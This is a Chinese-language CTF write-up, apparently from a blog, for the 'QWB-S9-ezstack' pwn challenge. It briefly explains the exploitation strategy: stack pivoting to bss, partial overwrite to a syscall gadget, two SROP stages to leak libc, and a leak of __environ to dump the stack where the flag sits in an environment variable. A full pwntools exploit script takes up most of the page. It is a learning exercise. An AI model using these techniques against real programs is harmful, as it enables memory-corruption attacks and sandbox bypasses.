QWB-S9-ezstack
题目概述
程序很简单,只有一个栈溢出,和一个任意地址写一个size的机会

开了沙箱,只有rw,我们没有办法打开flag文件

思路讲解
很明显绕不过沙盒,推测可能在栈中env里有flag,查看dockerfile发现其没清除flag的environ变量。所以我们的操作就是去泄露栈上的内容

先做栈迁移到bss段上,使得我们的栈地址是可控的,并在bss上面同时残留下libc的地址,接着去覆盖这个libc地址为syscall,但是这里的syscall是有缺陷的,我们后续需要修改其为一个syscall;ret才好,后面使用两次SROP来完成泄露libc地址的操作,第一次SROP实现rbx的控制和read的接续调用读入下一个SROP。这里我们复用第二个SROP的部分字段来实现0x79fcbda29db4 <__libc_start_call_main+164>: syscall的修改,第二个SROP的时候实现泄露libc地址,后面不断地去泄露栈就好

完整exp:
from pwn import *
from pwn_std import *
p=getProcess("123",13,["./pwn","FLAG='flag{test}'"])
context(os='linux', arch='amd64', log_level='debug')
elf=ELF("./pwn")
libc=ELF("/home/alpha/glibc-all-in-one/libs/2.35-0ubuntu3.11_amd64/libc.so.6")
read1=0x00000000004015FB
read2=0x000000000040160C
bss=0x0000000000404040+0x900
cnn=0x000000000040404C
start=0x0000000000401170
leave=0x0000000000401541
# 先做栈迁移,使得我们的栈地址是可控的
pl=b'a'*0x18+p64(cnn)+p64(bss+0x20)+p64(read1)
sd(pl)
pl=p64(start)
pl=pl.ljust(0x18,b'\x00')+p64(cnn)+p64(bss-0x8)+p64(leave)
sd(pl)
#此刻我们能够做到栈地址是可知的,同时残留下libc的地址
#先构造栈溢出来实现对bss段上残存的libc地址的控制,写为syscall,并再次实现调用read1
pl=b'a'*0x18+p64(cnn)+p64(0x4048f0+0x20)+p64(read1)
pl=pl.ljust(0xc8,b'\x00')+b'\xb4\x9d'
sd(pl)
syscall_ret=0x0000000000091316
ret=0x000000000040161F
add_rbp_3d_ebx=0x000000000040123c
rbp=add_rbp_3d_ebx+1
frame = SigreturnFrame()
frame.rax = 0
frame.rbx = 0x67562
frame.rdi = 0
frame.rsi = 0x4048f0
frame.rdx = 0x200
frame.rsp = 0x404850
frame.rbp = 0x404910
frame.rip = read2
print(bytes(frame))
# 这里构造SROP结构体并借用栈迁移来实现迁移
# 借用read来实现sigreturn的调用,同时控制rbx,并借由此读入我们的新的rop构造出一个可以syscall;ret的地方的syscall
pl=p64(0)*3+p64(cnn)
pl+=p64(0x404918+0x20-7)+p64(read1)+p64(0x4048e0)+p64(leave)+p64(0)*4
pl+=p64(0)*2+p64(0x4048f0)+p64(0x404910)+p64(0x67562)+p64(0x200)+p64(0)*2
pl+=p64(0x404850)+p64(read2)+p64(0)+p64(0x33)+p64(0)*3
# pl=bytes(frame)
sd(pl)
sd(b'\x00'*7+p64(rbp))
# 这里我们需要利用add_rbp_3d_ebx这个地方的gadget来实现构造出一个可以syscall;ret的地方的syscall
# 并通过rop来重新构造一个能read的链子来实现write的SROP调用
frame = SigreturnFrame()
frame.rax = 1
frame.rbx = 0x67562
frame.rdi = 2
frame.rsi = 0x000000000404020
frame.rdx = 0x200
frame.rsp = 0x4048e8
frame.rbp = 0x4049e8
frame.rip = ret
pl=p64(leave)+p64(0)*2+p64(cnn)
pl+=p64(0x4048e8+0x3d)+p64(add_rbp_3d_ebx)+p64(rbp)+p64(0x404930+0x20-7)+p64(read1)+p64(0x4048e0)+p64(leave)+p64(0)
pl+=p64(0)*1+p64(2)+p64(0x000000000404020)+p64(0x4049e8)+p64(0x67562)+p64(0x200)+p64(1)+p64(0)
pl+=p64(0x4048e8)+p64(ret)+p64(0)+p64(0x33)+p64(0)*7+p64(0x4049c0)+p64(read1)
pause()
sd(pl)
pause()
sd(b'\x00'*7+p64(rbp))
lb=uu64(rc(6))-libc.sym["_IO_2_1_stdout_"]
print("libc base: "+hex(lb))
##先构造一个rop去泄露栈地址,后面遍历栈地址泄露就好
rdi=lb+0x000000000002a3e5
rsi=lb+0x000000000002be51
rdx_r12=lb+0x000000000011f357
environ=lb+libc.sym["__environ"]
pl=b'a'*0x18+p64(cnn)+p64(0x4048f0+0x20)+p64(rdi)+p64(environ)+p64(lb+libc.sym["puts"])
pl+=p64(read1)
sd(pl)
rc(0x200-6)
stack=uu64(rc(6))
print("stack: "+hex(stack))
pl=b'a'*0x18+p64(cnn)+p64(0x4048f0+0x20)+p64(rdi)+p64(2)+p64(rsi)+p64(stack)+p64(rdx_r12)+p64(0x2000)+p64(0)+p64(lb+libc.sym["write"])
# gdbbug(cmd)
sd(pl)
ita()
QWB-S9-ezstack
https://a1b2rt.cn//archives/qwb-s9-ezstack